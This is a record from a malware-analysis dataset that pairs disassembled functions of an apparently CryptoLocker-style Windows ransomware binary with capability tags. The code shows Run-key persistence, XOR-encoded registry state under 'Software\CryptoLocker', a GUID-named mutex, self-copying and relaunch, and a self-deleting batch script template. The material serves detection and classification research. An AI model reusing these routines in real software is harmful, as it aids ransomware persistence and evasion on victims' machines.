joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d430
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
mov esi, ecx
push 0x147
push dword [esi + 0x15c]
call edi
test eax, eax
js 0x40d540
push 0
push eax
push 0x150
push dword [esi + 0x15c]
call edi
cmp eax, 0xffffffff
je 0x40d540
mov dword [esi + 0x18c], eax
shl eax, 4
push 0x7d2
movzx eax, word [eax + 0x411c98]
push eax
lea eax, [esi + 0x17c]
push eax
mov ecx, esi
call fcn.0040a760
mov ecx, esi
call fcn.0040d7b0
push 0
push dword [esi + 0x168]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 5
push dword [esi + 0x168]
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 0x54]
jae 0x40d527
mov ebx, dword [sym.imp.USER32.dll_InvalidateRect]
mov dword [esp + 0xc], 0x7d0
mov edx, 0x7d5
lea ebx, [ebx]
movzx ecx, di
imul ecx, ecx, 0x2c
add ecx, dword [esi + 0x50]
movzx eax, word [ecx]
cmp ax, word [esp + 0xc]
jb 0x40d520
cmp ax, dx
ja 0x40d520
lea eax, [esp + 0x10]
push eax
lea eax, [ecx + 4]
push eax
mov ecx, esi
call fcn.00407270
push 0
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi + 0x20]
mov eax, dword [eax + 4]
push dword [eax + esi + 0x24]
call ebx
mov edx, 0x7d5
inc edi
cmp di, word [esi + 0x54]
jb 0x40d4e0
mov eax, dword [esi + 0x20]
mov eax, dword [eax + 4]
push dword [eax + esi + 0x24]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov dword [esi + 0x18c], 0xffffffff
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d7b0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, ecx
push 0
push dword [edi + 0x174]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
push 0x14b
push dword [edi + 0x174]
call ebx
mov eax, dword [edi + 0x18c]
shl eax, 4
mov esi, dword [eax + 0x411c9c]
test esi, esi
je 0x40d869
mov eax, dword [esi]
mov dword [ebp - 4], 0
test eax, eax
je 0x40d846
push eax
push 0
push 0x143
push dword [edi + 0x174]
call ebx
mov dword [ebp - 8], eax
test eax, eax
js 0x40d83c
push dword [esi]
push eax
push 0x151
push dword [edi + 0x174]
call ebx
push 0x12
push dword [ebp - 8]
push 0x153
push dword [edi + 0x174]
call ebx
inc dword [ebp - 4]
mov eax, dword [esi + 4]
add esi, 4
test eax, eax
jne 0x40d800
push 0
push 0
push 0x14e
push dword [edi + 0x174]
call ebx
push 0
push dword [ebp - 4]
push 0x1701
push dword [edi + 0x174]
call ebx
push 5
push dword [edi + 0x174]
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40dd10
Capabilities:
Get graphical window text
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4164a4]
sub esp, 0x40
mov eax, dword [eax + 4]
push ebx
push esi
push edi
push dword [eax + 0xa4]
mov ebx, ecx
mov eax, dword [ebx]
mov eax, dword [eax + 4]
push dword [eax + ebx + 4]
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov eax, dword [0x4160e0]
push 0x65
push dword [eax + 0x34]
call dword [sym.imp.USER32.dll_LoadIconW]
mov ecx, dword [ebx]
mov esi, eax
mov edi, dword [ecx + 4]
push esi
push 0
push 0x80
push dword [edi + ebx + 4]
call dword [sym.imp.USER32.dll_SendMessageW]
push esi
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
push 1
push 0x80
push dword [edi + ebx + 4]
call esi
mov eax, dword [ebx]
push 0x3e9
mov eax, dword [eax + 4]
mov eax, dword [eax + ebx + 4]
and byte [ebx + 0x14], 0xfe
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0xfffffffffffffff0
push eax
mov dword [ebx + 0x10], eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
and eax, 0xffff03fc
or eax, 0x805d
push eax
push 0xfffffffffffffff0
push dword [ebx + 0x10]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x14020
push 0
push 0x1036
push dword [ebx + 0x10]
call esi
mov eax, dword [ebx + 8]
test eax, eax
je 0x40ddd5
push eax
push 1
push 0x1003
push dword [ebx + 0x10]
call esi
push 0
push str.Explorer
push dword [ebx + 0x10]
call dword [sym.imp.UxTheme.dll_SetWindowTheme]
push dword [ebx + 0x10]
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, dword [0x4164a4]
xorps xmm0, xmm0
movq qword [ebp - 0x3c], xmm0
movq qword [ebp - 0x34], xmm0
movq qword [ebp - 0x2c], xmm0
movq qword [ebp - 0x24], xmm0
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x40], 0xd
mov dword [ebp - 0x3c], 0
mov eax, dword [eax + 4]
mov eax, dword [eax + 0xa8]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x40]
push eax
push 0
push 0x1061
push dword [ebx + 0x10]
mov dword [ebp - 0x2c], 0
call esi
mov eax, dword [0x4164a4]
lea ecx, [ebp - 0x40]
mov eax, dword [eax + 4]
push ecx
mov eax, dword [eax + 0xac]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
inc eax
push eax
push 0x1061
push dword [ebx + 0x10]
mov dword [ebp - 0x2c], eax
call esi
mov ecx, ebx
call fcn.0040e0a0
mov eax, dword [ebx]
mov eax, dword [eax + 4]
push dword [eax + ebx + 4]
call dword [sym.imp.USER32.dll_GetParent]
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 4
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
lea ecx, [eax + eax]
mov edx, edi
sub edx, ecx
sub edx, dword [ebp - 0x14]
shl eax, 2
mov ecx, esi
sub ecx, eax
mov eax, dword [ebp - 0x10]
sub ecx, eax
cmp edx, 0x12c
jg 0x40deb9
mov edx, edi
sub edx, dword [ebp - 0x14]
cmp ecx, 0x12c
jg 0x40dec5
mov ecx, esi
sub ecx, eax
push ecx
push edx
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
add ecx, ebx
call fcn.0040bdf0
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40df60
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
push esi
mov esi, dword [ebp + 8]
push edi
or dword [esi + 0xc], 0x1000
test byte [esi + 0xc], 2
mov edi, ecx
je 0x40dfe9
cmp dword [esi + 0x2c], 0
je 0x40dfe9
push 0x2b0
lea eax, [ebp - 0x2b0]
push 0
push eax
mov dword [ebp - 0x2b4], 0
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x2b4]
push 0x4011
push 0x2b4
push eax
push 0x80
push dword [esi + 0x2c]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
je 0x40dfe9
cmp dword [edi + 8], 0
jne 0x40dfe0
push eax
push 1
push 0x1003
push dword [edi + 0x10]
mov dword [edi + 8], eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [ebp - 0x2b0]
mov dword [esi + 0x28], eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x40e720
Capabilities:
Delete file
Query environment variable
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
lea eax, [ebp - 0x460]
push ebx
push esi
push edi
push 0x104
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x40e8f5
cmp eax, 0x104
jae 0x40e8f5
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.SHLWAPI.dll_PathUnquoteSpacesW]
sub esp, 0x10
lea eax, [ebp - 0x258]
push eax
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0xffffffff
call fcn.004050c0
xor bl, bl
test al, al
jne 0x40e7a6
mov eax, dword [ebp - 8]
cmp eax, 0xffffffff
je 0x40e8ec
test eax, eax
je 0x40e8ec
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x4160e0]
add eax, 0x44
lea ecx, [ebp - 0x258]
push ecx
push eax
push eax
push eax
push str._echo_off_r_n:Repeat_r_nattrib__R__S__H___s__r_ndel__F___s___nul_r_nif_exist___s__goto_Repeat_r_ndel__F___s_
lea eax, [ebp - 4]
push 0
push eax
call fcn.0040c700
mov esi, dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
add esp, 0x1c
test eax, eax
jne 0x40e83e
mov edx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push ecx
call fcn.004087f0
mov edi, eax
mov eax, dword [ebp - 4]
add esp, 8
test eax, eax
je 0x40e800
push eax
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x40e838
mov ebx, dword [ebp - 8]
push 0
lea eax, [ebp - 4]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40e823
cmp dword [ebp - 4], ebx
jne 0x40e823
mov bl, 1
jmp 0x40e825
xor bl, bl
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [0x41623c]
call edi
jmp 0x40e83e
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x40e8cd
lea eax, [ebp - 0x258]
push eax
push str._C___s_
lea eax, [ebp - 4]
push 0
push eax
xor bl, bl
call fcn.0040c700
add esp, 0x10
test eax, eax
jne 0x40e8cd
push 0x40
push eax
lea eax, [ebp - 0x4c]
push eax
call sub.msvcrt.dll_memset
mov esi, dword [ebp - 4]
add esp, 0xc
xor eax, eax
push eax
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x50]
push eax
push 0
push ecx
push 0
mov edx, esi
lea ecx, [ebp - 0x460]
mov dword [ebp - 0x50], 0x44
mov dword [ebp - 0x24], 1
call fcn.00408fc0
add esp, 0x14
movzx ebx, bl
test eax, eax
mov ecx, 1
cmovne ebx, ecx
test esi, esi
je 0x40e8c9
push esi
push 0
push dword [0x41623c]
call edi
test bl, bl
jne 0x40e8ec
push 0x80
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40e990
Capabilities:
Copy file
Create process on windows
Delete file
Encode data using xor
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e4
push ebx
mov ebx, dword [0x4160e0]
push esi
add ebx, 0x25c
xor esi, esi
xorps xmm0, xmm0
push edi
mov byte [ebp - 1], cl
mov dword [ebp - 8], 0x7c416e09
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x14], xmm0
mov dword [ebp - 0xc], 0
cmp word [ebx], si
je 0x40e9f4
mov edi, ebx
mov eax, esi
and eax, 0xf
lea edx, [ebp - 0x18]
add edx, eax
mov al, byte [edi]
mov ecx, esi
and ecx, 3
inc esi
not al
xor al, byte [ebp + ecx - 8]
lea edi, [ebx + esi*2]
xor byte [edx], al
cmp word [edi], 0
jne 0x40e9d1
push 0x2b
lea eax, [ebp - 0xd8]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
sub esp, 0xc
mov edx, 0x36
push str..exe
lea ecx, [ebp - 0xd8]
call fcn.0040c070
test eax, eax
jne 0x40eba2
mov edx, dword [0x4160e0]
lea eax, [ebp - 0xd8]
lea edx, [edx + 0x25c]
push eax
lea ecx, [ebp - 0x2e0]
call fcn.00405a70
add esp, 4
test eax, eax
je 0x40eba2
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x80
lea eax, [ebp - 0x2e0]
push eax
call ebx
lea eax, [ebp - 0x2e0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [0x4160e0]
push 8
push 0
push 0
push 0
lea ecx, [ebp - 0x2e0]
add eax, 0x44
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
test eax, eax
je 0x40eba2
push 6
lea eax, [ebp - 0x2e0]
push eax
call ebx
cmp byte [ebp - 1], 0
je 0x40eacd
mov eax, dword [0x4160e0]
add eax, 0x44
push eax
push str.__r_s_
lea eax, [ebp - 8]
push 0
push eax
call fcn.0040c700
add esp, 0x10
test eax, eax
jne 0x40eacd
mov edi, dword [ebp - 8]
jmp 0x40eacf
xor edi, edi
mov eax, dword [0x4160e0]
add eax, 0x25c
mov edx, edi
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 8], eax
call fcn.00408e10
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x40eb6e
push 0x44
lea eax, [ebp - 0x68]
xorps xmm0, xmm0
push 0
push eax
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x14], xmm0
mov dword [ebp - 0xc], 0
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 8]
mov dword [ebp - 0x68], 0x44
push 0
push 0x4000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40eb48
xor esi, esi
jmp 0x40eb5b
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x18]
call esi
mov esi, dword [ebp - 0x10]
push dword [ebp - 0x1c]
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x40eb70
xor esi, esi
test edi, edi
je 0x40eb83
push edi
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
jne 0x40ebab
push 0x80
lea eax, [ebp - 0x2e0]
push eax
call ebx
lea eax, [ebp - 0x2e0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ebc0
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [0x4160e0]
push 0xffffffffffffffff
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40ebe5
cmp eax, 0x80
jne 0x40ec50
push 0x100
mov edx, str.SoftwareCryptoLocker
mov ecx, 0x80000001
call fcn.004093a0
mov bl, byte [ebp - 4]
add esp, 4
lea eax, [ebp - 4]
push eax
push 3
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
and bl, 0xfe
push 0x80000001
or bl, 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40ec47
mov esi, dword [ebp - 4]
push str.CryptoLocker
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test esi, esi
je 0x40ec47
test bl, 1
je 0x40ec40
push esi
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call fcn.0040e720
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40fdd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edx
mov eax, 0x10624dd3
mul ebx
movzx eax, word [esi + 2]
shr edx, 6
imul edx, edx, 0xfffffc18
add ebx, edx
movzx edx, word [esi + 6]
mov dword [ebp - 8], edx
push edi
movzx edi, word [esi]
mov esi, dword [ebp - 8]
shl edx, 0x10
xor edx, esi
add edi, ebx
mov dword [ebp + 8], ebx
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], edx
cmp edx, 1
ja 0x40fe2b
mov edx, esi
shl edx, 0x18
mov eax, edx
cmp eax, 1
not edx
cmova edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], edx
mov esi, eax
shl esi, 0x10
xor esi, eax
cmp esi, 7
ja 0x40fe43
mov esi, eax
shl esi, 0x18
cmp esi, 7
ja 0x40fe43
not esi
mov ebx, edi
shl ebx, 0x10
xor ebx, edi
cmp ebx, 0xf
ja 0x40fe5c
shl edi, 0x18
mov ebx, edi
not ebx
cmp edi, 0xf
cmova ebx, edi
lea edi, [esi*4]
xor edi, esi
shr edi, 6
xor edi, edx
shr edi, 8
lea eax, [ebx*8]
xor edi, eax
xor edi, ebx
shr edi, 5
xor edi, edx
shr edi, 6
and edi, 3
mov dword [ebp - 8], 0
add edi, 0xc
je 0x40ff04
mov dword [ebp - 0xc], 0x19
mov eax, dword [ebp - 4]
shr eax, 6
shl edx, 0xc
xor edx, eax
mov eax, dword [ebp - 4]
shr eax, 0x13
and edx, 0x1fff
xor edx, eax
mov eax, dword [ebp - 4]
shl eax, 0xc
xor eax, edx
mov dword [ebp - 4], eax
lea eax, [esi*4]
xor eax, esi
shr eax, 0x19
and esi, 0xfffffff8
shl esi, 4
xor esi, eax
lea eax, [ebx*8]
xor eax, ebx
shr eax, 0xb
and ebx, 0xfffffff0
shl ebx, 0x11
xor ebx, eax
mov eax, ebx
xor eax, esi
xor eax, dword [ebp - 4]
xor edx, edx
div dword [ebp - 0xc]
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
add edx, 0x61
mov word [ecx + eax*2 - 2], dx
mov edx, dword [ebp - 4]
cmp eax, edi
jb 0x40fe96
mov ebx, dword [ebp + 8]
mov eax, 0x24924925
mul ebx
mov esi, ebx
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 2
lea eax, [esi*8]
sub eax, esi
sub ebx, eax
lea eax, [ecx + edi*2]
mov edx, dword [ebx*4 + 0x4119b4]
mov esi, 0x2e
mov word [eax], si
sub eax, edx
lea esi, [eax + 2]
jmp 0x40ff40
movzx eax, word [edx]
mov word [esi + edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x40ff40
pop edi
pop esi
lea edx, [ecx + 2]
pop ebx
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40ff55
sub ecx, edx
sar ecx, 1
mov eax, ecx
mov esp, ebp
pop ebp
ret
Function at 0x4102a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
mov ebx, dword [0x4160e0]
push esi
add ebx, 0x25c
xor esi, esi
xorps xmm0, xmm0
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0x73190401
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x14], xmm0
mov dword [ebp - 0xc], 0
cmp word [ebx], si
je 0x410304
mov edi, ebx
mov eax, esi
and eax, 0xf
lea edx, [ebp - 0x18]
add edx, eax
mov al, byte [edi]
mov ecx, esi
and ecx, 3
inc esi
not al
xor al, byte [ebp + ecx - 4]
lea edi, [ebx + esi*2]
xor byte [edx], al
cmp word [edi], 0
jne 0x4102e1
push ecx
push str.Global_
lea eax, [ebp - 4]
push eax
mov edx, 0x32
lea ecx, [ebp - 0x80]
call fcn.0040c370
push 0x2b
lea eax, [ebp - 0x72]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
lea eax, [ebp - 0x80]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ecx, dword [ebp - 8]
pop edi
mov dword [ecx], eax
xor ecx, ecx
test eax, eax
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410370
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
mov bh, byte [ebp + 0xc]
push esi
push edi
mov edi, ecx
mov dword [esp + 0x20], edi
test bh, bh
je 0x4103aa
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4103aa
cmp eax, 0x80
je 0x4103aa
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov bl, byte [esp + 0x24]
lea eax, [esp + 0x18]
push eax
push 0x101
push 0
push str.SoftwareCryptoLocker
push 0x80000001
mov byte [esp + 0x23], 0
mov dword [esp + 0x28], 0x16c
mov dword [esp + 0x24], 0
and bl, 0xfe
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, dword [ebp + 8]
test eax, eax
jne 0x410466
mov edi, dword [esp + 0x18]
lea eax, [esp + 0x14]
push eax
push esi
lea eax, [esp + 0x18]
push eax
push 0
push str.VersionInfo
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [esp + 0x1c], eax
test edi, edi
je 0x410425
test bl, 1
je 0x41041a
push edi
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x20]
test eax, eax
jne 0x410466
cmp dword [esp + 0x10], 3
jne 0x410466
cmp dword [esp + 0x14], 0x16c
jne 0x410466
mov edi, edi
xor dword [eax + esi], 0x819c33ae
add eax, 4
cmp eax, 0x16c
jb 0x410440
cmp dword [esi], 0x16c
jne 0x410466
xor eax, eax
mov word [esi + 0x168], ax
mov bl, 1
jmp 0x41046a
mov bl, byte [esp + 0xf]
test bh, bh
je 0x410476
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
test bl, bl
jne 0x4104da
push 0x16c
push 0
push esi
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [esp + 0x28]
push eax
mov dword [esi], 0x16c
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
push 0
add ecx, 0x2ac18000
push 0x989680
adc eax, 0xfe624e21
push eax
push ecx
call fcn.00410a10
mov dword [esi + 4], eax
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4104f0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
cmp dword [esi], 0x16c
je 0x410512
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, 0x5b
lea edi, [ebp - 0x178]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
xor dword [ebp + eax - 0x178], 0x819c33ae
add eax, 4
cmp eax, 0x16c
jb 0x410521
mov bl, byte [ebp - 4]
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 8]
push eax
push 0
push 0x103
push 0
push 0
push 0
push str.SoftwareCryptoLocker
and bl, 0xfe
push 0x80000001
or bl, 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edi, eax
test edi, edi
jne 0x4105a1
mov esi, dword [ebp + 8]
push 0x16c
lea eax, [ebp - 0x178]
push eax
push 3
push edi
push str.VersionInfo
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
test esi, esi
je 0x4105a1
test bl, 1
je 0x41059a
push esi
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test edi, edi
pop edi
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x410770
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0
lea eax, [ebp + 0xc]
push eax
push 0
lea eax, [ebp + 0x10]
push eax
push esi
push dword [edi]
mov dword [ebp + 0x10], 0x104
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
inc dword [edi]
cmp eax, 0xea
je 0x410780
test eax, eax
jne 0x4107ff
cmp dword [ebp + 0xc], 4
jne 0x410780
test esi, esi
je 0x410780
lea eax, [ebp - 4]
push eax
mov edx, 0x104
mov ecx, esi
call fcn.0040c2c0
mov ecx, dword [ebp - 4]
xor edx, edx
test eax, eax
cmovs ecx, edx
mov dword [ebp - 4], ecx
jne 0x410780
cmp ecx, 1
jle 0x410780
cmp word [esi], dx
je 0x4107f4
lea eax, [edx + 0x5c]
cmp word [esi], 0x3f
jne 0x4107ec
mov word [esi], ax
add esi, 2
cmp word [esi], dx
jne 0x4107e3
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp eax, 0x103
jne 0x410816
xor eax, eax
pop edi
mov word [esi], ax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x410830
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [ebp + 8]
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebp - 4], ebx
test eax, eax
je 0x410916
push ecx
push eax
lea eax, [ebp + 8]
push eax
mov edx, 0x104
lea ecx, [ebp - 0x210]
call fcn.0040c370
test eax, eax
jne 0x410916
cmp word [ebp - 0x210], 0
lea eax, [ebp - 0x210]
je 0x410892
mov ecx, 0x3f
nop
cmp word [eax], 0x5c
jne 0x410889
mov word [eax], cx
add eax, 2
cmp word [eax], 0
jne 0x410880
push 0xffffffffffffffff
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4108a7
cmp eax, 0x80
jne 0x410916
mov bl, byte [ebp - 4]
lea eax, [ebp + 8]
push eax
push 0x103
push 0
push str.SoftwareCryptoLockerFiles
and bl, 0xfe
push 0x80000001
or bl, 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, eax
test edi, edi
jne 0x4108fd
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edi, eax
test esi, esi
je 0x4108fb
test bl, 1
je 0x4108f4
push esi
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
mov eax, dword [ebp - 4]
sete bl
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x405bd0
Capabilities:
Terminate process

Disassembly:
jmp 0x405bd5
jmp fcn.00405bda